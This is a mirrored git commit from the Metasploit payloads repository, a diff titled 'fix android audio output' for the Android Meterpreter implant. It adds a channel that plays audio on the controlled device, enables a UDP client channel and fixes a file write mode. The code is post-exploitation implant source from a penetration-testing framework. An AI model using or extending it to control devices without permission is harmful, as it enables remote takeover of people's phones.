1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-12 04:12:05 +02:00

fix android audio output

This commit is contained in:
Tim W 2022-05-13 10:47:36 +01:00
parent 85a7563cad
commit 4577bb4666
3 changed files with 27 additions and 12 deletions
java
androidpayload/library/src/com/metasploit/meterpreter
meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi

@ -109,7 +109,7 @@ public class AndroidMeterpreter extends Meterpreter {
getCommandManager().resetNewCommands(); getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager(); CommandManager mgr = getCommandManager();
Loader.setCWD(new File(writeableDir)); Loader.setCWD(new File(writeableDir));
mgr.registerCommand(CommandId.CORE_CHANNEL_OPEN, stdapi_channel_open.class); mgr.registerCommand(CommandId.CORE_CHANNEL_OPEN, android_channel_open.class);
mgr.registerCommand(CommandId.STDAPI_FS_CHDIR, stdapi_fs_chdir.class); mgr.registerCommand(CommandId.STDAPI_FS_CHDIR, stdapi_fs_chdir.class);
mgr.registerCommand(CommandId.STDAPI_FS_DELETE_DIR, stdapi_fs_delete_dir.class); mgr.registerCommand(CommandId.STDAPI_FS_DELETE_DIR, stdapi_fs_delete_dir.class);
mgr.registerCommand(CommandId.STDAPI_FS_DELETE_FILE, stdapi_fs_delete_file.class); mgr.registerCommand(CommandId.STDAPI_FS_DELETE_FILE, stdapi_fs_delete_file.class);

@ -1,23 +1,35 @@
package com.metasploit.meterpreter.android; package com.metasploit.meterpreter.android;
import android.media.MediaPlayer; import android.media.MediaPlayer;
import com.metasploit.meterpreter.*;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.NotYetImplementedCommand; import com.metasploit.meterpreter.command.NotYetImplementedCommand;
import com.metasploit.meterpreter.stdapi.Loader; import com.metasploit.meterpreter.stdapi.Loader;
import com.metasploit.meterpreter.stdapi.stdapi_channel_open;
import java.io.*; import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
public class channel_create_audio_output implements Command { public class android_channel_open extends stdapi_channel_open {
static String fpath = Loader.expand("wav").getPath();
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Channel channel = new AudioChannel(meterpreter); String channelType = request.getStringValue(TLVType.TLV_TYPE_CHANNEL_TYPE);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID()); if (channelType.equals("audio_output")) {
return ERROR_SUCCESS; Channel channel = new AudioChannel(meterpreter);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
return super.execute(meterpreter, request, response);
} }
static String fpath = Loader.expand("wav").getPath();
static class AudioChannel extends Channel { static class AudioChannel extends Channel {
public AudioChannel(Meterpreter meterpreter) throws FileNotFoundException { public AudioChannel(Meterpreter meterpreter) throws FileNotFoundException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(fpath, false)); super(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(fpath, false));
@ -39,4 +51,5 @@ public class channel_create_audio_output implements Command {
mediaPlayer.start(); mediaPlayer.start();
} }
} }
} }

@ -33,6 +33,9 @@ public class stdapi_channel_open implements Command {
if (channelType.equals("stdapi_net_tcp_server")) { if (channelType.equals("stdapi_net_tcp_server")) {
return executeTcpServer(meterpreter, request, response); return executeTcpServer(meterpreter, request, response);
} }
if (channelType.equals("stdapi_net_udp_client")) {
return executeUdpClient(meterpreter, request, response);
}
return ERROR_FAILURE; return ERROR_FAILURE;
} }
@ -51,7 +54,7 @@ public class stdapi_channel_open implements Command {
if (channel == null) { if (channel == null) {
channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null); channel = new Channel(meterpreter, new FileInputStream(Loader.expand(fpath)), null);
} }
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) { } else if (mode.equals("w") || mode.equals("wb") || mode.equals("wbb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false)); channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), false));
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) { } else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true)); channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(Loader.expand(fpath).getPath(), true));
@ -64,7 +67,6 @@ public class stdapi_channel_open implements Command {
} }
private int executeUdpClient(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { private int executeUdpClient(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST); String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT); int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST); String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);